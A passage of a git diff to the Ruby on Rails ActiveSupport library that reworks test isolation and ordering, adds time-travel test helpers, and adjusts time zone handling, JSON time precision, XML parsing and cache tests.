def event_stack
- SubscriberQueueRegistry.get_queue(@queue_key)
+ SubscriberQueueRegistry.instance.get_queue(@queue_key)
end
end
diff --git a/activesupport/lib/active_support/tagged_logging.rb b/activesupport/lib/active_support/tagged_logging.rb
index 18bc919734..d5c2222d2e 100644
--- a/activesupport/lib/active_support/tagged_logging.rb
+++ b/activesupport/lib/active_support/tagged_logging.rb
@@ -1,3 +1,4 @@
+require 'active_support/core_ext/module/delegation'
require 'active_support/core_ext/object/blank'
require 'logger'
require 'active_support/logger'
diff --git a/activesupport/lib/active_support/test_case.rb b/activesupport/lib/active_support/test_case.rb
index 2f27aff2bd..2fb5c04316 100644
--- a/activesupport/lib/active_support/test_case.rb
+++ b/activesupport/lib/active_support/test_case.rb
@@ -7,6 +7,7 @@ require 'active_support/testing/deprecation'
require 'active_support/testing/declarative'
require 'active_support/testing/isolation'
require 'active_support/testing/constant_lookup'
+require 'active_support/testing/time_helpers'
require 'active_support/core_ext/kernel/reporting'
require 'active_support/deprecation'
@@ -15,23 +16,6 @@ begin
rescue LoadError
end
-module Minitest # :nodoc:
- class << self
- remove_method :__run
- end
-
- def self.__run reporter, options # :nodoc:
- # FIXME: MT5's runnables is not ordered. This is needed because
- # we have have tests have cross-class order-dependent bugs.
- suites = Runnable.runnables.sort_by { |ts| ts.name.to_s }
-
- parallel, serial = suites.partition { |s| s.test_order == :parallel }
-
- ParallelEach.new(parallel).map { |suite| suite.run reporter, options } +
- serial.map { |suite| suite.run reporter, options }
- end
-end
-
module ActiveSupport
class TestCase < ::Minitest::Test
Assertion = Minitest::Assertion
@@ -44,15 +28,14 @@ module ActiveSupport
end
# FIXME: we have tests that depend on run order, we should fix that and
- # remove this method.
- def self.test_order # :nodoc:
- :sorted
- end
+ # remove this method call.
+ self.i_suck_and_my_tests_are_order_dependent!
include ActiveSupport::Testing::TaggedLogging
include ActiveSupport::Testing::SetupAndTeardown
include ActiveSupport::Testing::Assertions
include ActiveSupport::Testing::Deprecation
+ include ActiveSupport::Testing::TimeHelpers
extend ActiveSupport::Testing::Declarative
# test/unit backwards compatibility methods
diff --git a/activesupport/lib/active_support/testing/assertions.rb b/activesupport/lib/active_support/testing/assertions.rb
index 175f7ffe5a..76a591bc3b 100644
--- a/activesupport/lib/active_support/testing/assertions.rb
+++ b/activesupport/lib/active_support/testing/assertions.rb
@@ -92,36 +92,6 @@ module ActiveSupport
def assert_no_difference(expression, message = nil, &block)
assert_difference expression, 0, message, &block
end
-
- # Test if an expression is blank. Passes if <tt>object.blank?</tt>
- # is +true+.
- #
- # assert_blank [] # => true
- # assert_blank [[]] # => [[]] is not blank
- #
- # An error message can be specified.
- #
- # assert_blank [], 'this should be blank'
- def assert_blank(object, message=nil)
- ActiveSupport::Deprecation.warn('"assert_blank" is deprecated. Please use "assert object.blank?" instead')
- message ||= "#{object.inspect} is not blank"
- assert object.blank?, message
- end
-
- # Test if an expression is not blank. Passes if <tt>object.present?</tt>
- # is +true+.
- #
- # assert_present({ data: 'x' }) # => true
- # assert_present({}) # => {} is blank
- #
- # An error message can be specified.
- #
- # assert_present({ data: 'x' }, 'this should not be blank')
- def assert_present(object, message=nil)
- ActiveSupport::Deprecation.warn('"assert_present" is deprecated. Please use "assert object.present?" instead')
- message ||= "#{object.inspect} is blank"
- assert object.present?, message
- end
end
end
end
diff --git a/activesupport/lib/active_support/testing/declarative.rb b/activesupport/lib/active_support/testing/declarative.rb
index 1fa73caefa..e709e6edf5 100644
--- a/activesupport/lib/active_support/testing/declarative.rb
+++ b/activesupport/lib/active_support/testing/declarative.rb
@@ -7,11 +7,18 @@ module ActiveSupport
unless method_defined?(:describe)
def self.describe(text)
- class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
- def self.name
- "#{text}"
- end
- RUBY_EVAL
+ if block_given?
+ super
+ else
+ message = "`describe` without a block is deprecated, please switch to: `def self.name; #{text.inspect}; end`\n"
+ ActiveSupport::Deprecation.warn message
+
+ class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
+ def self.name
+ "#{text}"
+ end
+ RUBY_EVAL
+ end
end
end
@@ -27,7 +34,7 @@ module ActiveSupport
# end
def test(name, &block)
test_name = "test_#{name.gsub(/\s+/,'_')}".to_sym
- defined = instance_method(test_name) rescue false
+ defined = method_defined? test_name
raise "#{test_name} is already defined in #{self}" if defined
if block_given?
define_method(test_name, &block)
diff --git a/activesupport/lib/active_support/testing/deprecation.rb b/activesupport/lib/active_support/testing/deprecation.rb
index a8342904dc..6c94c611b6 100644
--- a/activesupport/lib/active_support/testing/deprecation.rb
+++ b/activesupport/lib/active_support/testing/deprecation.rb
@@ -19,18 +19,17 @@ module ActiveSupport
result
end
- private
- def collect_deprecations
- old_behavior = ActiveSupport::Deprecation.behavior
- deprecations = []
- ActiveSupport::Deprecation.behavior = Proc.new do |message, callstack|
- deprecations << message
- end
- result = yield
- [result, deprecations]
- ensure
- ActiveSupport::Deprecation.behavior = old_behavior
+ def collect_deprecations
+ old_behavior = ActiveSupport::Deprecation.behavior
+ deprecations = []
+ ActiveSupport::Deprecation.behavior = Proc.new do |message, callstack|
+ deprecations << message
end
+ result = yield
+ [result, deprecations]
+ ensure
+ ActiveSupport::Deprecation.behavior = old_behavior
+ end
end
end
end
diff --git a/activesupport/lib/active_support/testing/isolation.rb b/activesupport/lib/active_support/testing/isolation.rb
index 9c52ae7768..908af176be 100644
--- a/activesupport/lib/active_support/testing/isolation.rb
+++ b/activesupport/lib/active_support/testing/isolation.rb
@@ -1,60 +1,14 @@
require 'rbconfig'
-require 'minitest/parallel_each'
module ActiveSupport
module Testing
- class RemoteError < StandardError
-
- attr_reader :message, :backtrace
-
- def initialize(exception)
- @message = "caught #{exception.class.name}: #{exception.message}"
- @backtrace = exception.backtrace
- end
- end
-
- class ProxyTestResult
- def initialize(calls = [])
- @calls = calls
- end
-
- def add_error(e)
- e = Test::Unit::Error.new(e.test_name, RemoteError.new(e.exception))
- @calls << [:add_error, e]
- end
-
- def __replay__(result)
- @calls.each do |name, args|
- result.send(name, *args)
- end
- end
-
- def marshal_dump
- @calls
- end
-
- def marshal_load(calls)
- initialize(calls)
- end
-
- def method_missing(name, *args)
- @calls << [name, args]
- end
-
- def info_signal
- Signal.list['INFO']
- end
- end
-
module Isolation
require 'thread'
def self.included(klass) #:nodoc:
- klass.extend(Module.new {
- def test_methods
- ParallelEach.new super
- end
- })
+ klass.class_eval do
+ parallelize_me!
+ end
end
def self.forking_env?
@@ -83,6 +37,8 @@ module ActiveSupport
module Forking
def run_in_isolation(&blk)
read, write = IO.pipe
+ read.binmode
+ write.binmode
pid = fork do
read.close
@@ -107,19 +63,18 @@ module ActiveSupport
require "tempfile"
if ENV["ISOLATION_TEST"]
- proxy = ProxyTestResult.new
- retval = yield proxy
+ yield
File.open(ENV["ISOLATION_OUTPUT"], "w") do |file|
- file.puts [Marshal.dump([retval, proxy])].pack("m")
+ file.puts [Marshal.dump(self.dup)].pack("m")
end
exit!
else
Tempfile.open("isolation") do |tmpfile|
- ENV["ISOLATION_TEST"] = @method_name
+ ENV["ISOLATION_TEST"] = self.class.name
ENV["ISOLATION_OUTPUT"] = tmpfile.path
load_paths = $-I.map {|p| "-I\"#{File.expand_path(p)}\"" }.join(" ")
- `#{Gem.ruby} #{load_paths} #{$0} #{ORIG_ARGV.join(" ")} -t\"#{self.class}\"`
+ `#{Gem.ruby} #{load_paths} #{$0} #{ORIG_ARGV.join(" ")}`
ENV.delete("ISOLATION_TEST")
ENV.delete("ISOLATION_OUTPUT")
diff --git a/activesupport/lib/active_support/testing/time_helpers.rb b/activesupport/lib/active_support/testing/time_helpers.rb
new file mode 100644
index 0000000000..eefa84262e
--- /dev/null
+++ b/activesupport/lib/active_support/testing/time_helpers.rb
@@ -0,0 +1,127 @@
+module ActiveSupport
+ module Testing
+ class SimpleStubs # :nodoc:
+ Stub = Struct.new(:object, :method_name, :original_method)
+
+ def initialize
+ @stubs = {}
+ end
+
+ def stub_object(object, method_name, return_value)
+ key = [object.object_id, method_name]
+
+ if stub = @stubs[key]
+ unstub_object(stub)
+ end
+
+ new_name = "__simple_stub__#{method_name}"
+
+ @stubs[key] = Stub.new(object, method_name, new_name)
+
+ object.singleton_class.send :alias_method, new_name, method_name
+ object.define_singleton_method(method_name) { return_value }
+ end
+
+ def unstub_all!
+ @stubs.each_value do |stub|
+ unstub_object(stub)
+ end
+ @stubs = {}
+ end
+
+ private
+
+ def unstub_object(stub)
+ singleton_class = stub.object.singleton_class
+ singleton_class.send :undef_method, stub.method_name
+ singleton_class.send :alias_method, stub.method_name, stub.original_method
+ singleton_class.send :undef_method, stub.original_method
+ end
+ end
+
+ # Containing helpers that helps you test passage of time.
+ module TimeHelpers
+ # Changes current time to the time in the future or in the past by a given time difference by
+ # stubbing +Time.now+ and +Date.today+.
+ #
+ # Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+ # travel 1.day
+ # Time.current # => Sun, 10 Nov 2013 15:34:49 EST -05:00
+ # Date.current # => Sun, 10 Nov 2013
+ #
+ # This method also accepts a block, which will return the current time back to its original
+ # state at the end of the block:
+ #
+ # Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+ # travel 1.day do
+ # User.create.created_at # => Sun, 10 Nov 2013 15:34:49 EST -05:00
+ # end
+ # Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+ def travel(duration, &block)
+ travel_to Time.now + duration, &block
+ end
+
+ # Changes current time to the given time by stubbing +Time.now+ and
+ # +Date.today+ to return the time or date passed into this method.
+ #
+ # Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+ # travel_to Time.new(2004, 11, 24, 01, 04, 44)
+ # Time.current # => Wed, 24 Nov 2004 01:04:44 EST -05:00
+ # Date.current # => Wed, 24 Nov 2004
+ #
+ # Dates are taken as their timestamp at the beginning of the day in the
+ # application time zone. <tt>Time.current</tt> returns said timestamp,
+ # and <tt>Time.now</tt> its equivalent in the system time zone. Similarly,
+ # <tt>Date.current</tt> returns a date equal to the argument, and
+ # <tt>Date.today</tt> the date according to <tt>Time.now</tt>, which may
+ # be different. (Note that you rarely want to deal with <tt>Time.now</tt>,
+ # or <tt>Date.today</tt>, in order to honor the application time zone
+ # please always use <tt>Time.current</tt> and <tt>Date.current</tt>.)
+ #
+ # This method also accepts a block, which will return the current time back to its original
+ # state at the end of the block:
+ #
+ # Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+ # travel_to Time.new(2004, 11, 24, 01, 04, 44) do
+ # Time.current # => Wed, 24 Nov 2004 01:04:44 EST -05:00
+ # end
+ # Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+ def travel_to(date_or_time, &block)
+ if date_or_time.is_a?(Date) && !date_or_time.is_a?(DateTime)
+ now = date_or_time.midnight.to_time
+ else
+ now = date_or_time.to_time
+ end
+
+ simple_stubs.stub_object(Time, :now, now)
+ simple_stubs.stub_object(Date, :today, now.to_date)
+
+ if block_given?
+ begin
+ block.call
+ ensure
+ travel_back
+ end
+ end
+ end
+
+ # Returns the current time back to its original state, by removing the stubs added by
+ # `travel` and `travel_to`.
+ #
+ # Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+ # travel_to Time.new(2004, 11, 24, 01, 04, 44)
+ # Time.current # => Wed, 24 Nov 2004 01:04:44 EST -05:00
+ # travel_back
+ # Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+ def travel_back
+ simple_stubs.unstub_all!
+ end
+
+ private
+
+ def simple_stubs
+ @simple_stubs ||= SimpleStubs.new
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/time_with_zone.rb b/activesupport/lib/active_support/time_with_zone.rb
index 95b9b8e5ae..c25c97cfa8 100644
--- a/activesupport/lib/active_support/time_with_zone.rb
+++ b/activesupport/lib/active_support/time_with_zone.rb
@@ -45,7 +45,7 @@ module ActiveSupport
def initialize(utc_time, time_zone, local_time = nil, period = nil)
@utc, @time_zone, @time = utc_time, time_zone, local_time
- @period = @utc ? period : get_period_and_ensure_valid_local_time
+ @period = @utc ? period : get_period_and_ensure_valid_local_time(period)
end
# Returns a Time or DateTime instance that represents the time in +time_zone+.
@@ -132,8 +132,8 @@ module ActiveSupport
end
def xmlschema(fraction_digits = 0)
- fraction = if fraction_digits > 0
- (".%06i" % time.usec)[0, fraction_digits + 1]
+ fraction = if fraction_digits.to_i > 0
+ (".%06i" % time.usec)[0, fraction_digits.to_i + 1]
end
"#{time.strftime("%Y-%m-%dT%H:%M:%S")}#{fraction}#{formatted_offset(true, 'Z')}"
@@ -146,15 +146,15 @@ module ActiveSupport
# to +false+.
#
# # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = true
- # Time.utc(2005,2,1,15,15,10).in_time_zone.to_json
- # # => "2005-02-01T15:15:10Z"
+ # Time.utc(2005,2,1,15,15,10).in_time_zone("Hawaii").to_json
+ # # => "2005-02-01T05:15:10.000-10:00"
#
# # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = false
- # Time.utc(2005,2,1,15,15,10).in_time_zone.to_json
- # # => "2005/02/01 15:15:10 +0000"
+ # Time.utc(2005,2,1,15,15,10).in_time_zone("Hawaii").to_json
+ # # => "2005/02/01 05:15:10 -1000"
def as_json(options = nil)
if ActiveSupport::JSON::Encoding.use_standard_json_time_format
- xmlschema(3)
+ xmlschema(ActiveSupport::JSON::Encoding.time_precision)
else
%(#{time.strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)})
end
@@ -367,12 +367,12 @@ module ActiveSupport
end
private
- def get_period_and_ensure_valid_local_time
+ def get_period_and_ensure_valid_local_time(period)
# we don't want a Time.local instance enforcing its own DST rules as well,
# so transfer time values to a utc constructor if necessary
@time = transfer_time_values_to_utc_constructor(@time) unless @time.utc?
begin
- @time_zone.period_for_local(@time)
+ period || @time_zone.period_for_local(@time)
rescue ::TZInfo::PeriodNotFound
# time is in the "spring forward" hour gap, so we're moving the time forward one hour and trying again
@time += 1.hour
@@ -390,7 +390,8 @@ module ActiveSupport
def wrap_with_time_zone(time)
if time.acts_like?(:time)
- self.class.new(nil, time_zone, time)
+ periods = time_zone.periods_for_local(time)
+ self.class.new(nil, time_zone, time, periods.include?(period) ? period : nil)
elsif time.is_a?(Range)
wrap_with_time_zone(time.begin)..wrap_with_time_zone(time.end)
else
diff --git a/activesupport/lib/active_support/values/time_zone.rb b/activesupport/lib/active_support/values/time_zone.rb
index 3cf82a24b9..38f0d268f4 100644
--- a/activesupport/lib/active_support/values/time_zone.rb
+++ b/activesupport/lib/active_support/values/time_zone.rb
@@ -1,3 +1,5 @@
+require 'tzinfo'
+require 'thread_safe'
require 'active_support/core_ext/object/blank'
require 'active_support/core_ext/object/try'
@@ -184,6 +186,8 @@ module ActiveSupport
UTC_OFFSET_WITH_COLON = '%s%02d:%02d'
UTC_OFFSET_WITHOUT_COLON = UTC_OFFSET_WITH_COLON.sub(':', '')
+ @lazy_zones_map = ThreadSafe::Cache.new
+
# Assumes self represents an offset from UTC in seconds (as returned from
# Time#utc_offset) and turns this into an +HH:MM formatted string.
#
@@ -205,8 +209,6 @@ module ActiveSupport
# (GMT). Seconds were chosen as the offset unit because that is the unit
# that Ruby uses to represent time zone offsets (see Time#utc_offset).
def initialize(name, utc_offset = nil, tzinfo = nil)
- self.class.send(:require_tzinfo)
-
@name = name
@utc_offset = utc_offset
@tzinfo = tzinfo || TimeZone.find_tzinfo(name)
@@ -232,6 +234,7 @@ module ActiveSupport
# Compare this time zone to the parameter. The two are compared first on
# their offsets, and then by name.
def <=>(zone)
+ return unless zone.respond_to? :utc_offset
result = (utc_offset <=> zone.utc_offset)
result = (name <=> zone.name) if result == 0
result
@@ -279,7 +282,7 @@ module ActiveSupport
#
# Time.zone.now # => Fri, 31 Dec 1999 14:00:00 HST -10:00
# Time.zone.parse('22:30:00') # => Fri, 31 Dec 1999 22:30:00 HST -10:00
- def parse(str, now=now)
+ def parse(str, now=now())
parts = Date._parse(str, false)
return if parts.empty?
@@ -314,6 +317,16 @@ module ActiveSupport
tzinfo.now.to_date
end
+ # Returns the next date in this time zone.
+ def tomorrow
+ today + 1
+ end
+
+ # Returns the previous date in this time zone.
+ def yesterday
+ today - 1
+ end
+
# Adjust the given time to the simultaneous time in the time zone
# represented by +self+. Returns a Time.utc() instance -- if you want an
# ActiveSupport::TimeWithZone instance, use Time#in_time_zone() instead.
@@ -339,6 +352,10 @@ module ActiveSupport
tzinfo.period_for_local(time, dst)
end
+ def periods_for_local(time) #:nodoc:
+ tzinfo.periods_for_local(time)
+ end
+
def self.find_tzinfo(name)
TZInfo::TimezoneProxy.new(MAPPING[name] || name)
end
@@ -346,14 +363,14 @@ module ActiveSupport
class << self
alias_method :create, :new
- # Return a TimeZone instance with the given name, or +nil+ if no
+ # Returns a TimeZone instance with the given name, or +nil+ if no
# such TimeZone instance exists. (This exists to support the use of
# this class with the +composed_of+ macro.)
def new(name)
self[name]
end
- # Return an array of all TimeZone objects. There are multiple
+ # Returns an array of all TimeZone objects. There are multiple
# TimeZone objects per time zone, in many cases, to make it easier
# for users to find their own time zone.
def all
@@ -362,10 +379,8 @@ module ActiveSupport
def zones_map
@zones_map ||= begin
- new_zones_names = MAPPING.keys - lazy_zones_map.keys
- new_zones = Hash[new_zones_names.map { |place| [place, create(place)] }]
-
- lazy_zones_map.merge(new_zones)
+ MAPPING.each_key {|place| self[place]} # load all the zones
+ @lazy_zones_map
end
end
@@ -378,7 +393,7 @@ module ActiveSupport
case arg
when String
begin
- lazy_zones_map[arg] ||= lookup(arg).tap { |tz| tz.utc_offset }
+ @lazy_zones_map[arg] ||= create(arg).tap { |tz| tz.utc_offset }
rescue TZInfo::InvalidTimezoneIdentifier
nil
end
@@ -395,29 +410,6 @@ module ActiveSupport
def us_zones
@us_zones ||= all.find_all { |z| z.name =~ /US|Arizona|Indiana|Hawaii|Alaska/ }
end
-
- protected
-
- def require_tzinfo
- require 'tzinfo' unless defined?(::TZInfo)
- rescue LoadError
- $stderr.puts "You don't have tzinfo installed in your application. Please add it to your Gemfile and run bundle install"
- raise
- end
-
- private
-
- def lookup(name)
- (tzinfo = find_tzinfo(name)) && create(tzinfo.name.freeze)
- end
-
- def lazy_zones_map
- require_tzinfo
-
- @lazy_zones_map ||= Hash.new do |hash, place|
- hash[place] = create(place) if MAPPING.has_key?(place)
- end
- end
end
private
diff --git a/activesupport/lib/active_support/values/unicode_tables.dat b/activesupport/lib/active_support/values/unicode_tables.dat
index 2571faa019..394ee95f4b 100644
--- a/activesupport/lib/active_support/values/unicode_tables.dat
+++ b/activesupport/lib/active_support/values/unicode_tables.dat
Binary files differ
diff --git a/activesupport/lib/active_support/version.rb b/activesupport/lib/active_support/version.rb
index 8762330a6e..fe03984546 100644
--- a/activesupport/lib/active_support/version.rb
+++ b/activesupport/lib/active_support/version.rb
@@ -1,11 +1,8 @@
+require_relative 'gem_version'
+
module ActiveSupport
- # Returns the version of the currently loaded ActiveSupport as a Gem::Version
+ # Returns the version of the currently loaded ActiveSupport as a <tt>Gem::Version</tt>
def self.version
- Gem::Version.new "4.1.0.beta"
- end
-
- module VERSION #:nodoc:
- MAJOR, MINOR, TINY, PRE = ActiveSupport.version.segments
- STRING = ActiveSupport.version.to_s
+ gem_version
end
end
diff --git a/activesupport/lib/active_support/xml_mini.rb b/activesupport/lib/active_support/xml_mini.rb
index d082a0a499..009ee4db90 100644
--- a/activesupport/lib/active_support/xml_mini.rb
+++ b/activesupport/lib/active_support/xml_mini.rb
@@ -1,7 +1,9 @@
require 'time'
require 'base64'
+require 'bigdecimal'
require 'active_support/core_ext/module/delegation'
require 'active_support/core_ext/string/inflections'
+require 'active_support/core_ext/date_time/calculations'
module ActiveSupport
# = XmlMini
@@ -56,13 +58,13 @@ module ActiveSupport
# TODO use regexp instead of Date.parse
unless defined?(PARSING)
PARSING = {
- "symbol" => Proc.new { |symbol| symbol.to_sym },
+ "symbol" => Proc.new { |symbol| symbol.to_s.to_sym },
"date" => Proc.new { |date| ::Date.parse(date) },
"datetime" => Proc.new { |time| Time.xmlschema(time).utc rescue ::DateTime.parse(time).utc },
"integer" => Proc.new { |integer| integer.to_i },
"float" => Proc.new { |float| float.to_f },
"decimal" => Proc.new { |number| BigDecimal(number) },
- "boolean" => Proc.new { |boolean| %w(1 true).include?(boolean.strip) },
+ "boolean" => Proc.new { |boolean| %w(1 true).include?(boolean.to_s.strip) },
"string" => Proc.new { |string| string.to_s },
"yaml" => Proc.new { |yaml| YAML::load(yaml) rescue yaml },
"base64Binary" => Proc.new { |bin| ::Base64.decode64(bin) },
diff --git a/activesupport/test/abstract_unit.rb b/activesupport/test/abstract_unit.rb
index dd17cb64f4..0b393e0c7a 100644
--- a/activesupport/test/abstract_unit.rb
+++ b/activesupport/test/abstract_unit.rb
@@ -8,7 +8,6 @@ ensure
end
require 'active_support/core_ext/kernel/reporting'
-require 'active_support/core_ext/string/encoding'
silence_warnings do
Encoding.default_internal = "UTF-8"
@@ -16,7 +15,6 @@ silence_warnings do
end
require 'active_support/testing/autorun'
-require 'empty_bool'
ENV['NO_RELOAD'] = '1'
require 'active_support'
@@ -25,3 +23,16 @@ Thread.abort_on_exception = true
# Show backtraces for deprecated behavior for quicker cleanup.
ActiveSupport::Deprecation.debug = true
+
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
+# Skips the current run on Rubinius using Minitest::Assertions#skip
+def rubinius_skip(message = '')
+ skip message if RUBY_ENGINE == 'rbx'
+end
+
+# Skips the current run on JRuby using Minitest::Assertions#skip
+def jruby_skip(message = '')
+ skip message if defined?(JRUBY_VERSION)
+end
diff --git a/activesupport/test/autoloading_fixtures/html/some_class.rb b/activesupport/test/autoloading_fixtures/html/some_class.rb
new file mode 100644
index 0000000000..b43d15d891
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/html/some_class.rb
@@ -0,0 +1,4 @@
+module HTML
+ class SomeClass
+ end
+end
diff --git a/activesupport/test/caching_test.rb b/activesupport/test/caching_test.rb
index ae6eaa4b60..18923f61d1 100644
--- a/activesupport/test/caching_test.rb
+++ b/activesupport/test/caching_test.rb
@@ -3,6 +3,42 @@ require 'abstract_unit'
require 'active_support/cache'
require 'dependencies_test_helpers'
+module ActiveSupport
+ module Cache
+ module Strategy
+ module LocalCache
+ class MiddlewareTest < ActiveSupport::TestCase
+ def test_local_cache_cleared_on_close
+ key = "super awesome key"
+ assert_nil LocalCacheRegistry.cache_for key
+ middleware = Middleware.new('<3', key).new(->(env) {
+ assert LocalCacheRegistry.cache_for(key), 'should have a cache'
+ [200, {}, []]
+ })
+ _, _, body = middleware.call({})
+ assert LocalCacheRegistry.cache_for(key), 'should still have a cache'
+ body.each { }
+ assert LocalCacheRegistry.cache_for(key), 'should still have a cache'
+ body.close
+ assert_nil LocalCacheRegistry.cache_for(key)
+ end
+
+ def test_local_cache_cleared_on_exception
+ key = "super awesome key"
+ assert_nil LocalCacheRegistry.cache_for key
+ middleware = Middleware.new('<3', key).new(->(env) {
+ assert LocalCacheRegistry.cache_for(key), 'should have a cache'
+ raise
+ })
+ assert_raises(RuntimeError) { middleware.call({}) }
+ assert_nil LocalCacheRegistry.cache_for(key)
+ end
+ end
+ end
+ end
+ end
+end
+
class CacheKeyTest < ActiveSupport::TestCase
def test_entry_legacy_optional_ivars
legacy = Class.new(ActiveSupport::Cache::Entry) do
@@ -110,12 +146,12 @@ class CacheStoreSettingTest < ActiveSupport::TestCase
assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
end
- def test_mem_cache_fragment_cache_store_with_given_mem_cache_like_object
+ def test_mem_cache_fragment_cache_store_with_not_dalli_client
Dalli::Client.expects(:new).never
memcache = Object.new
- def memcache.get() true end
- store = ActiveSupport::Cache.lookup_store :mem_cache_store, memcache
- assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
+ assert_raises(ArgumentError) do
+ ActiveSupport::Cache.lookup_store :mem_cache_store, memcache
+ end
end
def test_mem_cache_fragment_cache_store_with_multiple_servers
@@ -261,20 +297,21 @@ module CacheStoreBehavior
@cache.write('foo', 'bar')
@cache.write('fud', 'biz')
- values = @cache.fetch_multi('foo', 'fu', 'fud') {|value| value * 2 }
+ values = @cache.fetch_multi('foo', 'fu', 'fud') { |value| value * 2 }
- assert_equal(["bar", "fufu", "biz"], values)
- assert_equal("fufu", @cache.read('fu'))
+ assert_equal({ 'foo' => 'bar', 'fu' => 'fufu', 'fud' => 'biz' }, values)
+ assert_equal('fufu', @cache.read('fu'))
end
def test_multi_with_objects
- foo = stub(:title => "FOO!", :cache_key => "foo")
- bar = stub(:cache_key => "bar")
+ foo = stub(:title => 'FOO!', :cache_key => 'foo')
+ bar = stub(:cache_key => 'bar')
- @cache.write('bar', "BAM!")
+ @cache.write('bar', 'BAM!')
- values = @cache.fetch_multi(foo, bar) {|object| object.title }
- assert_equal(["FOO!", "BAM!"], values)
+ values = @cache.fetch_multi(foo, bar) { |object| object.title }
+
+ assert_equal({ foo => 'FOO!', bar => 'BAM!' }, values)
end
def test_read_and_write_compressed_small_data
@@ -327,8 +364,8 @@ module CacheStoreBehavior
def test_exist
@cache.write('foo', 'bar')
- assert @cache.exist?('foo')
- assert !@cache.exist?('bar')
+ assert_equal true, @cache.exist?('foo')
+ assert_equal false, @cache.exist?('bar')
end
def test_nil_exist
@@ -577,6 +614,7 @@ module LocalCacheBehavior
result = @cache.write('foo', 'bar')
assert_equal 'bar', @cache.read('foo') # make sure 'foo' was written
assert result
+ [200, {}, []]
}
app = @cache.middleware.new(app)
app.call({})
@@ -709,12 +747,31 @@ class FileStoreTest < ActiveSupport::TestCase
@cache.send(:read_entry, "winston", {})
assert @buffer.string.present?
end
+
+ def test_cleanup_removes_all_expired_entries
+ time = Time.now
+ @cache.write('foo', 'bar', expires_in: 10)
+ @cache.write('baz', 'qux')
+ @cache.write('quux', 'corge', expires_in: 20)
+ Time.stubs(:now).returns(time + 15)
+ @cache.cleanup
+ assert_not @cache.exist?('foo')
+ assert @cache.exist?('baz')
+ assert @cache.exist?('quux')
+ end
+
+ def test_write_with_unless_exist
+ assert_equal true, @cache.write(1, "aaaaaaaaaa")
+ assert_equal false, @cache.write(1, "aaaaaaaaaa", unless_exist: true)
+ @cache.write(1, nil)
+ assert_equal false, @cache.write(1, "aaaaaaaaaa", unless_exist: true)
+ end
end
class MemoryStoreTest < ActiveSupport::TestCase
def setup
- @record_size = ActiveSupport::Cache::Entry.new("aaaaaaaaaa").size
- @cache = ActiveSupport::Cache.lookup_store(:memory_store, :expires_in => 60, :size => @record_size * 10)
+ @record_size = ActiveSupport::Cache.lookup_store(:memory_store).send(:cached_size, 1, ActiveSupport::Cache::Entry.new("aaaaaaaaaa"))
+ @cache = ActiveSupport::Cache.lookup_store(:memory_store, :expires_in => 60, :size => @record_size * 10 + 1)
end
include CacheStoreBehavior
@@ -764,6 +821,30 @@ class MemoryStoreTest < ActiveSupport::TestCase
assert !@cache.exist?(1), "no entry"
end
+ def test_prune_size_on_write_based_on_key_length
+ @cache.write(1, "aaaaaaaaaa") && sleep(0.001)
+ @cache.write(2, "bbbbbbbbbb") && sleep(0.001)
+ @cache.write(3, "cccccccccc") && sleep(0.001)
+ @cache.write(4, "dddddddddd") && sleep(0.001)
+ @cache.write(5, "eeeeeeeeee") && sleep(0.001)
+ @cache.write(6, "ffffffffff") && sleep(0.001)
+ @cache.write(7, "gggggggggg") && sleep(0.001)
+ @cache.write(8, "hhhhhhhhhh") && sleep(0.001)
+ @cache.write(9, "iiiiiiiiii") && sleep(0.001)
+ long_key = '*' * 2 * @record_size
+ @cache.write(long_key, "llllllllll")
+ assert @cache.exist?(long_key)
+ assert @cache.exist?(9)
+ assert @cache.exist?(8)
+ assert @cache.exist?(7)
+ assert @cache.exist?(6)
+ assert !@cache.exist?(5), "no entry"
+ assert !@cache.exist?(4), "no entry"
+ assert !@cache.exist?(3), "no entry"
+ assert !@cache.exist?(2), "no entry"
+ assert !@cache.exist?(1), "no entry"
+ end
+
def test_pruning_is_capped_at_a_max_time
def @cache.delete_entry (*args)
sleep(0.01)
diff --git a/activesupport/test/callbacks_test.rb b/activesupport/test/callbacks_test.rb
index f8e2ce22fa..32c2dfdfc0 100644
--- a/activesupport/test/callbacks_test.rb
+++ b/activesupport/test/callbacks_test.rb
@@ -1,27 +1,6 @@
require 'abstract_unit'
module CallbacksTest
- class Phone
- include ActiveSupport::Callbacks
- define_callbacks :save
-
- set_callback :save, :before, :before_save1
- set_callback :save, :after, :after_save1
-
- def before_save1; self.history << :before; end
- def after_save1; self.history << :after; end
-
- def save
- run_callbacks :save do
- raise 'boom'
- end
- end
-
- def history
- @history ||= []
- end
- end
-
class Record
include ActiveSupport::Callbacks
diff --git a/activesupport/test/concern_test.rb b/activesupport/test/concern_test.rb
index 8e2c298fc6..60bd8a06aa 100644
--- a/activesupport/test/concern_test.rb
+++ b/activesupport/test/concern_test.rb
@@ -5,7 +5,7 @@ class ConcernTest < ActiveSupport::TestCase
module Baz
extend ActiveSupport::Concern
- module ClassMethods
+ class_methods do
def baz
"baz"
end
@@ -33,6 +33,12 @@ class ConcernTest < ActiveSupport::TestCase
include Baz
+ module ClassMethods
+ def baz
+ "bar's baz + " + super
+ end
+ end
+
def bar
"bar"
end
@@ -56,10 +62,6 @@ class ConcernTest < ActiveSupport::TestCase
@klass.send(:include, Baz)
assert_equal "baz", @klass.new.baz
assert @klass.included_modules.include?(ConcernTest::Baz)
-
- @klass.send(:include, Baz)
- assert_equal "baz", @klass.new.baz
- assert @klass.included_modules.include?(ConcernTest::Baz)
end
def test_class_methods_are_extended
